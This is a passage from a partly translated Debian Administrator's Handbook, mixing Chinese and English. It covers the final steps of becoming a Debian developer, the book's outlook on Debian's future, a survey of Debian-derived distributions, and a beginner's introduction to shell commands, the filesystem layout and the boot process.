“Debian Maintainer” is another status that gives less privileges than “Debian developer” but whose associated process is quicker. With this status, the contributors can maintain their own packages only. A Debian developer only needs to perform a check on an initial upload, and issue a statement to the effect that they trust the prospective maintainer with the ability to maintain the package on their own.

15.4.2.1. Prerequisites

All candidates are expected to have at least a working knowledge of the English language. This is required at all levels: for the initial communications with the examiner, of course, but also later, since English is the preferred language for most of the documentation; also, package users will be communicating in English when reporting bugs, and they will expect replies in English.

The other prerequisite deals with motivation. Becoming a Debian developer is a process that only makes sense if the candidate knows that their interest in Debian will last for many months. The acceptance process itself may last for several months, and Debian needs developers for the long haul; each package needs permanent maintenance, and not just an initial upload.

15.4.2.2. Registration

The first (real) step consists in finding a sponsor or advocate; this means an official developer willing to state that they believe that accepting X would be a good thing for Debian. This usually implies that the candidate has already been active within the community, and that their work has been appreciated. If the candidate is shy and their work is not publicly touted, they can try to convince a Debian developer to advocate them by showing their work in a private way.

At the same time, the candidate must generate a public/private RSA key pair with GnuPG, which should be signed by at least two official Debian developers. The signature authenticates the name on the key. Effectively, during a key signing party, each participant must show an official identification (usually an ID card or passport) together with their key identifiers. This step confirms the link between the human and the keys. This signature thus requires meeting in real life. If you have not yet met any Debian developers in a public free software conference, you can explicitly seek developers living nearby using the list on the following webpage as a starting point.

→ https://wiki.debian.org/Keysigning

Once the registration on nm.debian.org has been validated by the advocate, an Application Manager is assigned to the candidate. The application manager will then drive the process through multiple pre-defined steps and checks.

The first verification is an identity check. If you already have a key signed by two Debian developers, this step is easy; otherwise, the application manager will try and guide you in your search for Debian developers close by to organize a meet-up and a key signing.

15.4.2.3. Accepting the Principles

These administrative formalities are followed by philosophical considerations. The point is to make sure that the candidate understands and accepts the social contract and the principles behind Free Software. Joining Debian is only possible if one shares the values that unite the current developers, as expressed in the founding texts (and summarized in 章 1, Debian 專案).

In addition, each candidate wishing to join the Debian ranks is expected to know the workings of the project, and how to interact appropriately to solve the problems they will doubtless encounter as time passes. All of this information is generally documented in manuals targeting the new maintainers, and in the Debian developer's reference. An attentive reading of this document should be enough to answer the examiner's questions. If the answers are not satisfactory, the candidate will be informed. They will then have to read (again) the relevant documentation before trying again. In the cases where the existing documentation does not contain the appropriate answer for the question, the candidate can usually reach an answer with some practical experience within Debian, or potentially by discussing with other Debian developers. This mechanism ensures that candidates get involved somewhat in Debian before becoming a full part of it. It is a deliberate policy, by which candidates who eventually join the project are integrated as another piece of an infinitely extensible jigsaw puzzle.

This step is usually known as the Philosophy & Procedures (P&P for short) in the lingo of the developers involved in the new member process.

15.4.2.4. Checking Skills

Each application to become an official Debian developer must be justified. Becoming a project member requires showing that this status is legitimate, and that it facilitates the candidate's job in helping Debian. The most common justification is that being granted Debian developer status eases maintenance of a Debian package, but it is not the only one. Some developers join the project to contribute to porting to a specific architecture, others want to improve documentation, and so on.

This step represents the opportunity for the candidate to state what they intend to do within the Debian project and to show what they have already done towards that end. Debian is a pragmatic project and saying something is not enough, if the actions do not match what is announced. Generally, when the intended role within the project is related to package maintenance, a first version of the prospective package will have to be validated technically and uploaded to the Debian servers by a sponsor among the existing Debian developers.

COMMUNITY Sponsoring

Debian developers can “sponsor” packages prepared by someone else, meaning that they publish them in the official Debian repositories after having performed a careful review. This mechanism enables external persons, who have not yet gone through the new member process, to contribute occasionally to the project. At the same time, it ensures that all packages included in Debian have always been checked by an official member.

Finally, the examiner checks the candidate's technical (packaging) skills with a detailed questionnaire. Bad answers are not permitted, but the answer time is not limited. All the documentation is available and several attempts are allowed if the first answers are not satisfactory. This step does not intend to discriminate, but to ensure at least a modicum of knowledge common to new contributors.

This step is known as the Tasks & Skills step (T&S for short) in the examiners' jargon.

15.4.2.5. Final Approval

At the very last step, the whole process is reviewed by a DAM (Debian Account Manager). The DAM will review all the information about the candidate that the examiner collected, and makes the decision on whether or not to create an account on the Debian servers. In cases where extra information is required, the account creation may be delayed. Refusals are rather rare if the examiner does a good job of following the process, but they sometimes happen. They are never permanent, and the candidate is free to try again at a later time.

The DAM's decision is authoritative and (almost) without appeal, which explains why the people in that seat have often been criticized in the past.

章 16. 結論：Debian的未來

Falcot Corp 公司的故事以這最後一章結束；但 Debian 仍繼續存在，未來肯定會帶來許多有趣的驚喜給您。

16.1. 未來發展

在發佈 Debian 的新版本之前的幾周（或幾個月），發佈管理器會為下一個版本選擇代號。現在 Debian 第 11 版本已經推出，開發人員已經在忙著開發下一個版本，代號為伸展。…

There is no official list of all planned changes, and Debian never makes promises relating to technical goals of the coming versions. However, a few development trends and discussion topics can already be noted, and we can try to guess what might happen (or not). Some of the expected changes are documented in the Debian 11 release notes:

→ https://www.debian.org/releases/bullseye/amd64/release-notes/ch-information.en.html#deprecated-components

Beyond usual deprecation of some software components, it is worth pointing out that Debian is in the process of switching to what is known as a merged-usr filesystem: in this scheme /bin, /sbin and /lib are symlinks pointing to the corresponding directories in /usr. This improves compatibility between all Unix systems, makes us closer of having all Debian-supplied files in a single top-level directory that can be easily protected, snapshotted or shared. You can learn more about the benefits here:

→ https://www.freedesktop.org/wiki/Software/systemd/TheCaseForTheUsrMerge/

This important change is not without creating issues: dpkg will have to learn about those aliased directories, but the dpkg maintainer doesn't like the technical solution deployed by Debian and hasn't yet made the required changes. The Debian technical committee's help has been requested multiple times already. Their last decision can be found here:

→ https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=994388#110

apt-key will become obsolete. The key management for third party repositories should only rely on keys found in /etc/apt/trusted.gpg.d or configured via Signed-By as described in 節 6.6, “檢查套件真偽”.

For some tasks the default software solution will change. As an example: plocate might be a faster and smaller replacement for mlocate. systemd will continue to add new features that help to standardize the boot process and system management, allowing us to get rid of some other software in the base system.

Of course all the main software suites will have a major release. The latest version of the various desktops will bring better usability and new features.

The default permission of home directories will be more restrictive, allowing only the user to access their files.

Developments which already began will continue: Improve build reproducibility and security for example. With the widespread use of continuous integration and the growth of the archive (and of the biggest packages!), the constraints on release architectures will be harder to meet and architectures will be dropped.

16.2. Debian 的未來

In addition to these internal developments, one can reasonably expect new Debian-based distributions to come to light, as many tools keep simplifying this task. New specialized subprojects will also be started, in order to widen Debian's reach to new horizons.

Debian 用戶社區將繼續新增，新的貢獻者將加入該項目…可能也包括你！

There are recurring discussions about how the software ecosystem is evolving, towards applications shipped within containers, where Debian packages have no added value, or with language-specific package managers (e.g. pip for Python, npm for JavaScript, etc.), which are rendering dpkg and apt obsolete. Facing those threats, I am convinced that Debian developers will find ways to embrace those changes and to continue to provide value to users.

儘管 Debian 已經很老了，體型也相當可觀，但它仍然在向各種（有時是意想不到的）方向發展。投稿人充滿了想法，開發郵寄清單上的討論，即使它們看起來像爭吵，也在不斷增加勢頭。Debian 有時被比作黑洞，其密度足以吸引任何新的自由軟體項目。

Beyond the apparent satisfaction of most Debian users, a deep trend is becoming more and more indisputable: people (and companies!) are increasingly realizing that collaborating, rather than working alone in their corner, leads to better results for everyone. The number of commercial companies relying on Debian is larger every year.

因此，Debian 項目不會受到滅絕的威脅…

16.3. 這本書的未來

We would like this book to evolve in the spirit of free software. We therefore welcome contributions, remarks, suggestions, and criticism. Please direct them to Raphaël (<hertzog@debian.org>) or Roland (<lolando@debian.org>). For actionable feedback, feel free to open bug reports against the debian-handbook Debian package. The website will be used to gather all information relevant to its evolution, and you will find there information on how to contribute, in particular if you want to translate this book to make it available to an even larger public than today.

→ https://debian-handbook.info/

→ https://bugs.debian.org/src:debian-handbook

We tried to integrate most of what our experience with Debian taught us, so that anyone can use this distribution and take the best advantage of it as soon as possible. We hope this book contributes to making Debian less confusing and more popular, and we welcome publicity around it!

We would like to conclude on a personal note. Writing (and translating) this book took a considerable amount of time out of our usual professional activity. Since we are both freelance consultants, any new source of income grants us the freedom to spend more time improving Debian; we hope this book to be successful and to contribute to this. In the meantime, feel free to retain our services!

→ https://www.freexian.com

→ https://www.gnurandal.com

期待能與您見面！

附錄 A. 衍生產品

Many Linux distributions are derivatives of Debian and reuse Debian's package management tools. They all have their own interesting properties, and it is possible one of them will fulfill your needs better than Debian itself.

A.1. 調查與合作

Debian 專案充分認識到衍生產品分配的重要性，並積極支援所有相關方之間的合作。這通常涉及合併最初由衍生資料分配開發的改進，以便每個人都能受，並減少長期維護工作。

This explains why derivative distributions are invited to become involved in discussions on the debian-derivatives@lists.debian.org mailing-list, and to participate in the derivative census. This census aims at collecting information on work happening in a derivative so that official Debian maintainers can better track the state of their package in Debian variants.

→ https://wiki.debian.org/DerivativesFrontDesk

→ https://wiki.debian.org/Derivatives/Census

現在讓我們簡單描述一下最有趣和最流行的分支分佈。

A.2. Ubuntu

Ubuntu made quite a splash when it came on the free software scene, and for good reason: Canonical Ltd., the company that created this distribution, started by hiring thirty-odd Debian developers and publicly stating the far-reaching objective of providing a distribution for the general public with a new release twice a year. They also committed to maintaining each version for a year and a half.

These objectives necessarily involve a reduction in scope; Ubuntu focuses on a smaller number of packages than Debian, and relies primarily on the GNOME desktop (although there are Ubuntu derivatives that come with other desktop environments). Everything is internationalized and made available in a great many languages.

So far, Ubuntu has managed to keep this release rhythm. They also publish Long Term Support (LTS) releases, with a 5-year maintenance promise. As of April 2021, the current LTS version is version 20.04, nicknamed Focal Fossa. The last non-LTS version is version 21.04, nicknamed Hirsute Hippo. Version numbers describe the release date: 21.04, for example, was released in April 2021.

IN PRACTICE Ubuntu's support and maintenance promise

Canonical has adjusted multiple times the rules governing the length of the period during which a given release is maintained. Canonical, as a company, promises to provide security updates to all the software available in the main and restricted sections of the Ubuntu archive, for 5 years for LTS releases and for 9 months for non-LTS releases. Everything else (available in the universe and multiverse) is maintained on a best-effort basis by volunteers of the MOTU team (Masters Of The Universe). Be prepared to handle security support yourself if you rely on packages of the latter sections.

Ubuntu 已經在公眾中廣受歡迎。數以百萬計的用戶對它的易於安裝和使桌面更易於使用的工作印象深刻。

Ubuntu and Debian used to have a tense relationship; Debian developers who had placed great hopes in Ubuntu contributing directly to Debian were disappointed by the difference between the Canonical marketing, which implied Ubuntu were good citizens in the Free Software world, and the actual practice where they simply made public the changes they applied to Debian packages. Things have been getting better over the years, and Ubuntu has now made it general practice to forward patches to the most appropriate place (although this only applies to external software they package and not to the Ubuntu-specific software such as Mir or Unity).

→ https://www.ubuntu.com/

A.3. Linux Mint

Linux Mint is a (partly) community-maintained distribution, supported by donations and advertisements. Their flagship product is based on Ubuntu, but they also provide a “Linux Mint Debian Edition” (LMDE), which is based on Debian Stable with a few backports. LMDE is available for both 32 and 64-bit.

In both cases, the initial installation involves booting a live DVD or a live USB storage device.

The distribution aims at simplifying access to advanced technologies, and provides specific graphical user interfaces on top of the usual software. For instance, Linux Mint relies on Cinnamon instead of GNOME by default (but it also includes MATE as well as Xfce); similarly, the package management interface, although based on APT, provides a specific interface with an evaluation of the risk from each package update.

Linux Mint includes a large amount of proprietary software to improve the experience of users who might need those. For example: Adobe Flash and multimedia codecs.

→ https://linuxmint.com/

A.4. Knoppix

The Knoppix distribution barely needs an introduction. It was the first popular distribution to provide a live CD; in other words, a bootable CD-ROM that runs a turn-key Linux system with no requirement for a hard-disk — any system already installed on the machine will be left untouched. Automatic detection of available devices allows this distribution to work in most hardware configurations. The CD-ROM includes almost 1 GB of (compressed) software, and the DVD-ROM version has around 4.5 GB.

Combining this CD-ROM to a USB stick allows carrying your files with you, and to work on any computer without leaving a trace — remember that the distribution doesn't use the hard-disk at all. Knoppix uses LXDE (a lightweight graphical desktop) by default, but the DVD version also includes GNOME and Plasma. Many other distributions provide other combinations of desktops and software. This is, in part, made possible thanks to the live-build Debian package that makes it relatively easy to create a live CD.

→ https://live-team.pages.debian.net/live-manual/

Note that Knoppix also provides an installer: you can first try the distribution as a live CD, then install it on a hard-disk to get better performance.

→ https://www.knopper.net/knoppix/

A.5. Aptosid 和 Siduction

These community-based distributions track the changes in Debian Sid (Unstable) — hence their name. The modifications are limited in scope: the goal is to provide the most recent software and to update drivers for the most recent hardware, while still allowing users to switch back to the official Debian distribution at any time. Aptosid was previously known as Sidux, and Siduction is a more recent fork of Aptosid.

→ http://aptosid.com

→ https://siduction.org

A.6. Grml

Grml is a live CD with many tools for system administrators, dealing with installation, deployment, and system rescue. The live CD is provided in two flavors, full and small, both available for 32-bit and 64-bit PCs. Obviously, the two flavors differ by the amount of software included and by the resulting size.

→ https://grml.org

A.7. Tails

Tails OS (The Amnesic Incognito Live System) aims at providing a live system that preserves anonymity and privacy. It takes great care in not leaving any trace on the computer it runs on, and uses the Tor network to connect to the Internet in the most anonymous way possible.

→ https://tails.boum.org

A.8. Kali Linux

Kali Linux is a Debian-based distribution specializing in penetration testing (“pentesting” for short). It provides software that helps auditing the security of an existing network or computer while it is live, and analyze it after an attack (which is known as “computer forensics”).

→ https://kali.org

A.9. Devuan

Devuan is a fork of Debian started in 2014 as a reaction to the decision made by Debian to switch to systemd as the default init system. A group of users attached to sysv and opposing drawbacks to systemd started Devuan with the objective of maintaining a systemd-less system.

→ https://devuan.org

A.10. DoudouLinux

DoudouLinux targets young children (starting from 2 years old). To achieve this goal, it provides a heavily customized graphical interface (based on LXDE) and comes with many games and educative applications. Internet access is filtered to prevent children from visiting problematic websites. Advertisements are blocked. The goal is that parents should be free to let their children use their computer once booted into DoudouLinux. And children should love using DoudouLinux, just like they enjoy their gaming console. Unfortunately this distribution hasn't seen any active development in the recent years.

→ https://doudoulinux.org

A.11. Raspbian

Raspbian is a rebuild of Debian optimized for the popular (and inexpensive) Raspberry Pi family of single-board computers. The recent release of Raspbian for the arm64 architecture is no longer a rebuild, though. Instead it runs a pristine Debian Bullseye. The project just adds some extra packages, especially a custom kernel, to fully support the hardware.

→ https://raspbian.org

Debian also provides own images for several Raspberry Pi devices.

→ https://raspi.debian.net/

A.12. PureOS

PureOS is a Debian-based distribution focused on privacy, convenience and security. It follows the GNU Free System Distribution Guidelines, used by the Free Software Foundation to qualify a distribution as free. The social purpose company Purism guides its development.

→ https://pureos.net/

A.13. SteamOS

SteamOS is a gaming-oriented Debian-based distribution developed by Valve Corporation. It is used in the Steam Machine, a line of gaming computers. The upcoming release 3.0 will, however, use Arch Linux as platform.

→ https://store.steampowered.com/steamos/

A.14. 還有更多

The Distrowatch website references a huge number of Linux distributions, many of which are based on Debian. Browsing this site is a great way to get a sense of the diversity in the free software world.

→ https://distrowatch.com

The search form can help track down a distribution based on its ancestry. In April 2021, selecting Debian led to 154 active distributions!

→ https://distrowatch.com/search.php

附錄 B. Short Remedial Course

Even though this book primarily targets administrators and “power-users”, we wouldn't like to exclude motivated beginners. This appendix will therefore be a crash-course describing the fundamental concepts involved in handling a Unix computer.

B.1. Shell 和基本命令

In the Unix world, every administrator has to use the command line sooner or later; for example, when the system fails to start properly and only provides a command-line rescue mode. Being able to handle such an interface, therefore, is a basic survival skill for these circumstances.

QUICK LOOK Starting the command interpreter

A command-line environment can be run from the graphical desktop, by an application known as a “terminal”. In GNOME, you can start it from the “Activities” overview (that you get when you move the mouse in the top-left corner of the screen) by typing the first letters of the application name. In Plasma (and many other desktop variants), you will find it in the applications menu Applications → System menu.

這個部分僅提供對命令的快速查看。他們都有許多沒有在這裡描述的選項，所以請參考豐富的文檔在他們各自的手冊頁面。

B.1.1. 流覽目錄樹和管理檔案

Once a session is open, the pwd command (which stands for print working directory) displays the current location in the filesystem. The current directory is changed with the cd directory command (cd is for change directory). The parent directory is always called .. (two dots), whereas the current directory is also known as . (one dot). The ls command allows listing the contents of a directory. If no parameters are given, it operates on the current directory.

$ pwd

/home/rhertzog

$ cd Desktop

$ pwd

/home/rhertzog/Desktop

$ cd .

$ pwd

/home/rhertzog/Desktop

$ cd ..

$ pwd

/home/rhertzog

$ ls

Desktop    Downloads  Pictures  Templates

Documents  Music      Public    Videos

A new directory can be created with mkdir directory, and an existing (empty) directory can be removed with rmdir directory. The mv command allows moving and/or renaming files and directories; removing a file is achieved with rm file.

$ mkdir test

$ ls

Desktop    Downloads  Pictures  Templates  Videos

Documents  Music      Public    test

$ mv test new

$ ls

Desktop    Downloads  new       Public     Videos

Documents  Music      Pictures  Templates

$ rmdir new

$ ls

Desktop    Downloads  Pictures  Templates  Videos

Documents  Music      Public

B.1.2. 顯示和修改文字檔案

The cat file command (intended to concatenate files to the standard output device) reads a file and displays its contents on the terminal. If the file is too big to fit on a screen, use a pager such as less (or more) to display it page by page.

The editor command starts a text editor (such as vi or nano) and allows creating, modifying and reading text files. The simplest files can sometimes be created directly from the command interpreter thanks to redirection: echo "text" >file creates a file named file with “text” as its contents. Adding a line at the end of this file is possible too, with a command such as echo "moretext" >>file. Note the >> in this example.

B.1.3. 搜尋檔案和檔案內部

The find directory criteria command looks for files in the hierarchy under directory according to several criteria. The most commonly used criterion is -name name: that allows looking for a file by its name.

The grep expression files command searches the contents of the files and extracts the lines matching the regular expression (see sidebar BACK TO BASICS Regular expression). Adding the -r option enables a recursive search on all files contained in the directory passed as a parameter. This allows looking for a file when only a part of the contents are known.

B.1.4. 管理流程

The ps aux command lists the processes currently running and helps identifying them by showing their pid (process id). Once the pid of a process is known, the kill -signal pid command allows sending it a signal (if the process belongs to the current user). Several signals exist; most commonly used are TERM (a request to terminate gracefully) and KILL (a forced kill).

The command interpreter can also run programs in the background if the command is followed by a “&”. By using the ampersand, the user resumes control of the shell immediately even though the command is still running (hidden from the user; as a background process). The jobs command lists the processes running in the background; running fg %job-number (for foreground) restores a job to the foreground. When a command is running in the foreground (either because it was started normally, or brought back to the foreground with fg), the Control+Z key combination pauses the process and resumes control of the command-line. The process can then be restarted in the background with bg %job-number (for background).

B.1.5. 系統資訊: 記憶體、硬碟空間、標識

The free command displays information on memory; df (disk free) reports on the available disk space on each of the disks mounted in the filesystem. Its -h option (for human readable) converts the sizes into a more legible unit (usually mebibytes or gibibytes). In a similar fashion, the free command supports the -m and -g options, and displays its data either in mebibytes or in gibibytes, respectively.

$ free

total        used        free      shared  buff/cache   available

Mem:       16279260     5910248      523432      871036     9845580     9128964

Swap:      16601084      240640    16360444

$ df

Filesystem                1K-blocks      Used Available Use% Mounted on

udev                        8108516         0   8108516   0% /dev

tmpfs                       1627928    161800   1466128  10% /run

/dev/mapper/vg_main-root  466644576 451332520  12919912  98% /

tmpfs                       8139628    146796   7992832   2% /dev/shm

tmpfs                          5120         4      5116   1% /run/lock

tmpfs                       8139628         0   8139628   0% /sys/fs/cgroup

/dev/sda1                    523248      1676    521572   1% /boot/efi

tmpfs                       1627924        88   1627836   1% /run/user/1000

The id command displays the identity of the user running the session, along with the list of groups they belong to. Since access to some files or devices may be limited to group members, checking available group membership may be useful.

$ id

uid=1000(rhertzog) gid=1000(rhertzog) groups=1000(rhertzog),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),108(netdev),109(bluetooth),115(scanner)

B.2. Organization of the Filesystem Hierarchy

B.2.1. The Root Directory

A Debian system is organized along the Filesystem Hierarchy Standard (FHS). This standard defines the purpose of each directory. For instance, the top-level directories are described as follows:

- /bin/: basic programs;

- /boot/: Linux kernel and other files required for its early boot process;

- /dev/: device files;

- /etc/: configuration files;

- /home/: user's personal files;

- /lib/: basic libraries;

- /media/*: mount points for removable devices (CD-ROM, USB keys and so on);

- /mnt/: temporary mount point;

- /opt/: extra applications provided by third parties;

- /root/: administrator's (root's) personal files;

- /run/: volatile runtime data that does not persist across reboots;

- /sbin/: system programs;

- /srv/: data used by servers hosted on this system;

- /tmp/: temporary files; this directory is often emptied at boot;

- /usr/: applications; this directory is further subdivided into bin, sbin, lib (according to the same logic as in the root directory). Furthermore, /usr/share/ contains architecture-independent data. /usr/local/ is meant to be used by the administrator for installing applications manually without overwriting files handled by the packaging system (dpkg).

- /var/: variable data handled by daemons. This includes log files, queues, spools, caches and so on.

- /proc/ and /sys/ are specific to the Linux kernel (and not part of the FHS). They are used by the kernel for exporting data to user space (see 節 B.3.4, “The User Space” and 節 B.5, “The User Space” for explanations about this concept).

Note that many modern distributions, Debian included, are shipping /bin, /sbin and /lib as symlinks to the corresponding directories below /usr so that all programs and libraries are available in a single tree. It makes it easier to protect the integrity of the system files, and to share those system files among multiple containers, etc.

B.2.2. The User's Home Directory

The contents of a user's home directory is not standardized, but there are still a few noteworthy conventions. One is that a user's home directory is often referred to by a tilde (“~”). That is useful to know because command interpreters automatically replace a tilde with the correct directory (usually /home/user/).

Traditionally, application configuration files are often stored directly under the user's home directory, but their names usually start with a dot (for instance, the mutt email client stores its configuration in ~/.muttrc). Note that filenames that start with a dot are hidden by default; and ls only lists them when the -a option is used, and graphical file managers need to be told to display hidden files.

Some programs also use multiple configuration files organized in one directory (for instance, ~/.ssh/). Some applications also use their directory to store a cache of downloaded data. This means that those directories can end up using a lot of disk space.

These configuration files stored directly in a user's home directory, often collectively referred to as dotfiles, have long proliferated to the point that these directories can be quite cluttered with them. Fortunately, an effort led collectively under the FreeDesktop.org umbrella has resulted in the “XDG Base Directory Specification”, a convention that aims at cleaning up these files and directories. This specification states that configuration files should be stored under ~/.config/, cache files under ~/.cache/, and application data files under ~/.local/ (or subdirectories thereof). This convention is slowly gaining traction, and several applications (especially graphical ones) have started following it.

Graphical desktops usually display the contents of the ~/Desktop/ directory (or whatever the appropriate translation is for systems not configured in English) on the desktop (i.e. what is visible on screen once all applications are closed or iconized).

Finally, the email system sometimes stores incoming emails into a ~/Mail/ directory.

B.3. Inner Workings of a Computer: the Different Layers Involved

A computer is often considered as something rather abstract, and the externally visible interface is much simpler than its internal complexity. Such complexity comes in part from the number of pieces involved. However, these pieces can be viewed in layers, where a layer only interacts with those immediately above or below.

An end-user can get by without knowing these details… as long as everything works. When confronting a problem such as, “The internet doesn't work!”, the first thing to do is to identify in which layer the problem originates. Is the network card (hardware) working? Is it recognized by the computer? Does the Linux kernel see it? Are the network parameters properly configured? All these questions isolate an appropriate layer and focus on a potential source of the problem.

B.3.1. The Deepest Layer: the Hardware

Let us start with a basic reminder that a computer is, first and foremost, a set of hardware elements. There is generally a main board (known as the motherboard), with one (or more) processor(s), some RAM, device controllers, and extension slots for option boards (for other device controllers). Most noteworthy among these controllers are IDE (Parallel ATA), SCSI and Serial ATA, for connecting to storage devices such as hard disks. Other controllers include USB, which is able to host a great variety of devices (ranging from webcams to thermometers, from keyboards to home automation systems) and IEEE 1394 (Firewire). These controllers often allow connecting several devices so the complete subsystem handled by a controller is therefore usually known as a “bus”. Option boards include graphics cards (into which monitor screens will be plugged), sound cards, network interface cards, and so on. Some main boards are pre-built with these features, and don't need option boards.

IN PRACTICE Checking that the hardware works

Checking that a piece of hardware works can be tricky. On the other hand, proving that it doesn't work is sometimes quite simple.

A hard disk drive is made of spinning platters and moving magnetic heads. When a hard disk is powered up, the platter motor makes a characteristic whir. It also dissipates energy as heat. Consequently, a hard disk drive that stays cold and silent when powered up is broken.

Network cards often include LEDs displaying the state of the link. If a cable is plugged in and leads to a working network hub or switch, at least one LED will be on. If no LED lights up, either the card itself, the network device, or the cable between them, is faulty. The next step is therefore testing each component individually.

Some option boards — especially 3D video cards — include cooling devices, such as heat sinks and/or fans. If the fan does not spin even though the card is powered up, a plausible explanation is the card overheated. This also applies to the main processor(s) located on the main board.

B.3.2. The Starter: the BIOS or UEFI

Hardware, on its own, is unable to perform useful tasks without a corresponding piece of software driving it. Controlling and interacting with the hardware is the purpose of the operating system and applications. These, in turn, require functional hardware to run.

This symbiosis between hardware and software does not happen on its own. When the computer is first powered up, some initial setup is required. This role is assumed by the BIOS or UEFI, a piece of software embedded into the main board that runs automatically upon power-up. Its primary task is searching for software it can hand over control to. Usually, as you may have learned in 節 9.1, “系統啟動”, in the BIOS case, this involves looking for the first hard disk with a boot sector (also known as the master boot record or MBR), loading that boot sector, and running it. From then on, the BIOS is usually not involved (until the next boot). In the case of UEFI, the process involves scanning disks to find a dedicated EFI partition containing further EFI applications to execute.

TOOL Setup, the BIOS/UEFI configuration tool

The BIOS/UEFI also contains a piece of software called Setup, designed to allow configuring aspects of the computer. In particular, it allows choosing which boot device is preferred (for instance, you can select a USB key or a CD-ROM drive instead of the default harddisk), setting the system clock, and so on. Starting Setup usually involves pressing a key very soon after the computer is powered on. This key is often Del or Esc, sometimes F2, F5, F8, or F10. Most of the time, the choice is flashed on screen while booting. If not, you best check the manual of your mainboard or your computer.

The boot sector (or the EFI partition), in turn, contains another piece of software, called the bootloader, whose purpose is to find and run an operating system. Since this bootloader is not embedded in the main board but loaded from disk, it can be smarter than the BIOS, which explains why the BIOS does not load the operating system by itself. For instance, the bootloader (often GRUB on Linux systems) can list the available operating systems and ask the user to choose one. Usually, a time-out and default choice is provided. Sometimes the user can also choose to add parameters to pass to the kernel, and so on. Eventually, a kernel is found, loaded into memory, and executed.

NOTE UEFI, a modern replacement to the BIOS

BIOS (which stands for Basic Input/Output System) is a software that is included in the motherboard - the electronic board connecting all peripherals - and executed when the computer is booted, in order to load an operating system (via an adapted bootloader). It stays in the background to provide an interface between the hardware and the software (in our case, the Linux kernel).

In 2005/2006 its successor, the UEFI (Unified Extensible Firmware Interface) specification, has been published. This specification defines an interface that has the same purpose as the BIOS, but tries to provide more usability, extensibility, and flexibility, a graphical user interface, and true 64bit support. And it got rid of some of the limitations of BIOS booting: with the usage of a dedicated partition, the bootloaders no longer need special tricks to fit in a tiny master boot record and then discover the kernel to boot. Even better, with a suitably built Linux kernel, UEFI can directly boot the kernel without any intermediary bootloader. UEFI is also the basic foundation used to deliver Secure Boot, a technology ensuring that you run only software validated by your operating system vendor.

Nowadays, most new computers will boot in UEFI mode by default, but usually they also support BIOS booting alongside for backwards compatibility with operating systems that are not ready to exploit UEFI. This is called the Compatibility Support Mode/Module (CSM). But, several manufacturers have either announced to cease support for the legacy BIOS mode in their UEFI implementation, or they already did. This transition, however, has not been without discussion nor without criticism.

The BIOS/UEFI is also in charge of detecting and initializing a number of devices. Obviously, this includes the IDE/SATA devices (usually hard disk(s) and CD/DVD-ROM drives), but also PCI devices. Detected devices are often listed on screen during the boot process. If this list goes by too fast, use the Pause key to freeze it for long enough to read. Installed PCI devices that don't appear are a bad omen. At worst, the device is faulty. At best, it is merely incompatible with the current version of the BIOS or main board. PCI specifications evolve, and old main boards are not guaranteed to handle newer PCI devices.

B.3.3. The Kernel

Both the BIOS/UEFI and the bootloader only run for a few seconds each; now we are getting to the first piece of software that runs for a longer time, the operating system kernel. This kernel assumes the role of a conductor in an orchestra, and ensures coordination between hardware and software. This role involves several tasks including: driving hardware, managing processes, users and permissions, the filesystem, and so on. The kernel provides a common base to all other programs on the system.

B.3.4. The User Space

Although everything that happens outside of the kernel can be lumped together under “user space”, we can still separate it into software layers. However, their interactions are more complex than before, and the classifications may not be as simple. An application commonly uses libraries, which in turn involve the kernel, but the communications can also involve other programs, or even many libraries calling each other.

B.4. Some Tasks Handled by the Kernel

B.4.1. Driving the Hardware

The kernel is, first and foremost, tasked with controlling the hardware parts, detecting them, switching them on when the computer is powered on, and so on. It also makes them available to higher-level software with a simplified programming interface, so applications can take advantage of devices without having to worry about details such as which extension slot the option board is plugged into. The programming interface also provides an abstraction layer; this allows video-conferencing software, for example, to use a webcam independently of its make and model. The software can just use the Video for Linux (V4L) interface, and the kernel translates the function calls of this interface into the actual hardware commands needed by the specific webcam in use.

The kernel exports many details about detected hardware through the /proc/ and /sys/ virtual filesystems. Several tools summarize those details. Among them, lspci (in the pciutils package) lists PCI devices, lsusb (in the usbutils package) lists USB devices, and lspcmcia (in the pcmciautils package) lists PCMCIA cards. These tools are very useful for identifying the exact model of a device. This identification also allows more precise searches on the web, which in turn, lead to more relevant documents.

範例 B.1. Example of information provided by lspci and lsusb

$ lspci

[...]

00:00.0 Host bridge: Intel Corporation Xeon E3-1200 v6/7th Gen Core Processor Host Bridge/DRAM Registers (rev 05)

00:01.0 PCI bridge: Intel Corporation 6th-9th Gen Core Processor PCIe Controller (x16) (rev 05)

00:02.0 VGA compatible controller: Intel Corporation HD Graphics 630 (rev 04)

00:14.0 USB controller: Intel Corporation 100 Series/C230 Series Chipset Family USB 3.0 xHCI Controller (rev 31)

00:14.2 Signal processing controller: Intel Corporation 100 Series/C230 Series Chipset Family Thermal Subsystem (rev 31)

[...]

02:00.0 Network controller: Qualcomm Atheros QCA6174 802.11ac Wireless Network Adapter (rev 32)

03:00.0 Unassigned class [ff00]: Realtek Semiconductor Co., Ltd. RTL8411B PCI Express Card Reader (rev 01)

03:00.1 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168/8411 PCI Express Gigabit Ethernet Controller (rev 12)

04:00.0 Non-Volatile memory controller: Samsung Electronics Co Ltd NVMe SSD Controller SM981/PM981/PM983

$ lsusb

Bus 002 Device 001: ID 1d6b:0003 Linux Foundation 3.0 root hub

Bus 001 Device 003: ID 0bda:5621 Realtek Semiconductor Corp. HD WebCam

Bus 001 Device 002: ID 04ca:3016 Lite-On Technology Corp.

Bus 001 Device 018: ID 145f:01bc Trust GXT 155 Gaming Mouse

Bus 001 Device 004: ID 04f3:0c03 Elan Microelectronics Corp. ELAN:Fingerprint

Bus 001 Device 001: ID 1d6b:0002 Linux Foundation 2.0 root hub

These programs have a -v option that lists much more detailed (but usually not necessary) information. Finally, the lsdev command (in the procinfo package) lists communication resources used by devices.

Applications often access devices by way of special files created within /dev/ (see sidebar 基本 近用設備的權限). These are special files that represent disk drives (for instance, /dev/hda and /dev/sdc), partitions (/dev/hda1 or /dev/sdc3), mice (/dev/input/mouse0), keyboards (/dev/input/event0), soundcards (/dev/snd/*), serial ports (/dev/ttyS*), and so on.

B.4.2. Filesystems

Filesystems are one of the most prominent aspects of the kernel. Unix systems merge all the file stores into a single hierarchy, which allows users (and applications) to access data simply by knowing its location within that hierarchy.

